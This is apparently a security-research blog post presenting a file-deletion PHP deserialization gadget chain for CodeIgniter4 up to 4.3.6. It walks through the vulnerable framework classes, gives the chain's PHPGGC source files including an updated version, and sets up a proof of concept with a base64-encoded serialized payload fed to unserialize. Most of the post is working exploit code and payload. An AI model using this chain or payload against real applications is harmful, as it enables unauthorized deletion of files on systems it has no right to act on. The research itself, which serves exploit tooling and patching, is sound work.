Hello, today we’re implementing a new gadget chain for the CodeIgniter4 PHP Framework.

Open Source PHP Framework (originally from EllisLab).

Who?

alt-text

Why?

Below is the responsible code.

File: system/Cache/Handlers/RedisHandler.php

<?php

...

namespace CodeIgniter\Cache\Handlers;

use CodeIgniter\Exceptions\CriticalError;
use CodeIgniter\I18n\Time;
use Config\Cache;
use Redis;
use RedisException;

/**
 * Redis cache handler
 */
class RedisHandler extends BaseHandler
{
    /**
     * Default config
     *
     * @var array
     */
    protected $config = [
        'host'     => '127.0.0.1',
        'password' => null,
        'port'     => 6379,
        'timeout'  => 0,
        'database' => 0,
    ];

    /**
     * Redis connection
     *
     * @var Redis
     */
    protected $redis;

    ...

    /**
     * Closes the connection to Redis if present.
     */
    public function __destruct()
    {
        if (isset($this->redis)) {
            $this->redis->close();
        }
    }

    ...

}

File: system/Session/Handlers/MemcachedHandler.php

<?php

...

namespace CodeIgniter\Session\Handlers;

use CodeIgniter\I18n\Time;
use CodeIgniter\Session\Exceptions\SessionException;
use Config\App as AppConfig;
use Config\Session as SessionConfig;
use Memcached;
use ReturnTypeWillChange;

/**
 * Session handler using Memcache for persistence
 */
class MemcachedHandler extends BaseHandler
{
    /**
     * Memcached instance
     *
     * @var Memcached|null
     */
    protected $memcached;

    /**
     * Key prefix
     *
     * @var string
     */
    protected $keyPrefix = 'ci_session:';

    /**
     * Lock key
     *
     * @var string|null
     */
    protected $lockKey;

    /**
     * Number of seconds until the session ends.
     *
     * @var int
     */
    protected $sessionExpiration = 7200;

    ...

    /**
     * Closes the current session.
     */
    public function close(): bool
    {
        if (isset($this->memcached)) {
            if (isset($this->lockKey)) {
                $this->memcached->delete($this->lockKey);
            }

            if (! $this->memcached->quit()) {
                return false;
            }

            $this->memcached = null;

            return true;
        }

        return false;
    }

    ...

}

File: system/Cache/Handlers/FileHandler.php

<?php

...

namespace CodeIgniter\Cache\Handlers;

use CodeIgniter\Cache\Exceptions\CacheException;
use CodeIgniter\I18n\Time;
use Config\Cache;
use Throwable;

/**
 * File system cache handler
 */
class FileHandler extends BaseHandler
{
    /**
     * Maximum key length.
     */
    public const MAX_KEY_LENGTH = 255;

    /**
     * Where to store cached files on the disk.
     *
     * @var string
     */
    protected $path;

    /**
     * Mode for the stored files.
     * Must be chmod-safe (octal).
     *
     * @var int
     *
     * @see https://www.php.net/manual/en/function.chmod.php
     */
    protected $mode;

    ...

    /**
     * {@inheritDoc}
     */
    public function delete(string $key)
    {
        $key = static::validateKey($key, $this->prefix);

        return is_file($this->path . $key) && unlink($this->path . $key);
    }

    ...

}

And function BaseHandler::validateKey() is defined as:

File: system/Cache/Handlers/BaseHandler.php

<?php

...

namespace CodeIgniter\Cache\Handlers;

use Closure;
use CodeIgniter\Cache\CacheInterface;
use Exception;
use InvalidArgumentException;

/**
 * Base class for cache handling
 */
abstract class BaseHandler implements CacheInterface
{
    /**
     * Reserved characters that cannot be used in a key or tag. May be overridden by the config.
     * From https://github.com/symfony/cache-contracts/blob/c0446463729b89dd4fa62e9aeecc80287323615d/ItemInterface.php#L43
     *
     * @deprecated in favor of the Cache config
     */
    public const RESERVED_CHARACTERS = '{}()/\@:';

    /**
     * Maximum key length.
     */
    public const MAX_KEY_LENGTH = PHP_INT_MAX;

    /**
     * Prefix to apply to cache keys.
     * May not be used by all handlers.
     *
     * @var string
     */
    protected $prefix;

    /**
     * Validates a cache key according to PSR-6.
     * Keys that exceed MAX_KEY_LENGTH are hashed.
     * From https://github.com/symfony/cache/blob/7b024c6726af21fd4984ac8d1eae2b9f3d90de88/CacheItem.php#L158
     *
     * @param string $key    The key to validate
     * @param string $prefix Optional prefix to include in length calculations
     *
     * @throws InvalidArgumentException When $key is not valid
     */
    public static function validateKey($key, $prefix = ''): string
    {
        if (! is_string($key)) {
            throw new InvalidArgumentException('Cache key must be a string');
        }
        if ($key === '') {
            throw new InvalidArgumentException('Cache key cannot be empty.');
        }

        $reserved = config('Cache')->reservedCharacters ?? self::RESERVED_CHARACTERS;
        if ($reserved && strpbrk($key, $reserved) !== false) {
            throw new InvalidArgumentException('Cache key contains reserved characters ' . $reserved);
        }

        // If the key with prefix exceeds the length then return the hashed version
        return strlen($prefix . $key) > static::MAX_KEY_LENGTH ? $prefix . md5($key) : $prefix . $key;
    }

    ...

}

How?

First, let’s add this new chain to PHPGGC.

Adding the gadget chain to PHPGGC

File: gadgetchains/CodeIgniter4/FD/1/chain.php

<?php

namespace GadgetChain\CodeIgniter4;

class FD1 extends \PHPGGC\GadgetChain\FileDelete
{
    public static $version = '<= 4.3.6';
    public static $vector = '__destruct';
    public static $author = 'coiffeur';
    public static $information = '';

    public function generate(array $parameters)
    {
        return new \CodeIgniter\Cache\Handlers\RedisHandler($parameters['remote_path']);
    }
}

File: gadgetchains/CodeIgniter4/FD/1/gadgets.php

<?php

namespace CodeIgniter\Cache\Handlers {
    class RedisHandler {
        protected $redis;

        public function __construct($remote_path) {
            $this->redis = new \CodeIgniter\Session\Handlers\MemcachedHandler(
                new \CodeIgniter\Cache\Handlers\FileHandler(),
                $remote_path
            );
        }
    }

    class FileHandler {
        protected $prefix;
        protected $path;

        public function __construct() {
            $this->prefix = "";
            $this->path = "";
        }
    }
}

namespace CodeIgniter\Session\Handlers {
    class MemcachedHandler {
        protected $memcached;
        protected $lockKey;

        public function __construct($memcached, $remote_path) {
            $this->memcached = $memcached;
            $this->lockKey = $remote_path;
        }
    }
}

Now let’s develop a POC.

Proof Of Concept

php composer.phar create-project codeigniter4/appstarter test
cd test
echo 12345 > public/AAAA

Then we generate the gadget chain using PHPGGC (we need to encode the string in base64 as it contains NULL bytes):

alt-text

Then we edit the file app/Controllers/Home.php so that it contains the following code:

File:

<?php

namespace App\Controllers;

class Home extends BaseController
{
    public function index()
    {
        $es = 'YToyOntpOjc7TzozOToiQ29kZUlnbml0ZXJcQ2FjaGVcSGFuZGxlcnNcUmVkaXNIYW5kbGVyIjoxOntzOjg6IgAqAHJlZGlzIjtPOjQ1OiJDb2RlSWduaXRlclxTZXNzaW9uXEhhbmRsZXJzXE1lbWNhY2hlZEhhbmRsZXIiOjI6e3M6MTI6IgAqAG1lbWNhY2hlZCI7TzozODoiQ29kZUlnbml0ZXJcQ2FjaGVcSGFuZGxlcnNcRmlsZUhhbmRsZXIiOjI6e3M6OToiACoAcHJlZml4IjtzOjA6IiI7czo3OiIAKgBwYXRoIjtzOjA6IiI7fXM6MTA6IgAqAGxvY2tLZXkiO3M6NDoiQUFBQSI7fX1pOjc7aTo3O30=';
        $s = base64_decode($es);
        $o = unserialize($s);
        return view('welcome_message');
    }
}

Then we trigger the PHP script execution by making an HTTP GET request via curl:

alt-text

Thank you for taking the time to read this article.


UPDATE 2023-07-10:

After an interesting comment from the repository owner, the gadget chain has been updated:

File: gadgetchains/CodeIgniter4/FD/1/gadgets.php

<?php

namespace CodeIgniter\Cache\Handlers {
    class RedisHandler {
        protected $redis;

        public function __construct($remote_path) {
            $this->redis = new \CodeIgniter\Session\Handlers\MemcachedHandler(
                new \CodeIgniter\Cache\Handlers\FileHandler($remote_path),
                $remote_path
            );
        }
    }

    class FileHandler {
        protected $prefix;
        protected $path = "";

        public function __construct($remote_path) {
            $this->prefix = dirname($remote_path) . "/";
        }
    }
}

namespace CodeIgniter\Session\Handlers {
    class MemcachedHandler {
        protected $memcached;
        protected $lockKey;

        public function __construct($memcached, $remote_path) {
            $this->memcached = $memcached;
            $this->lockKey = basename($remote_path);
        }
    }
}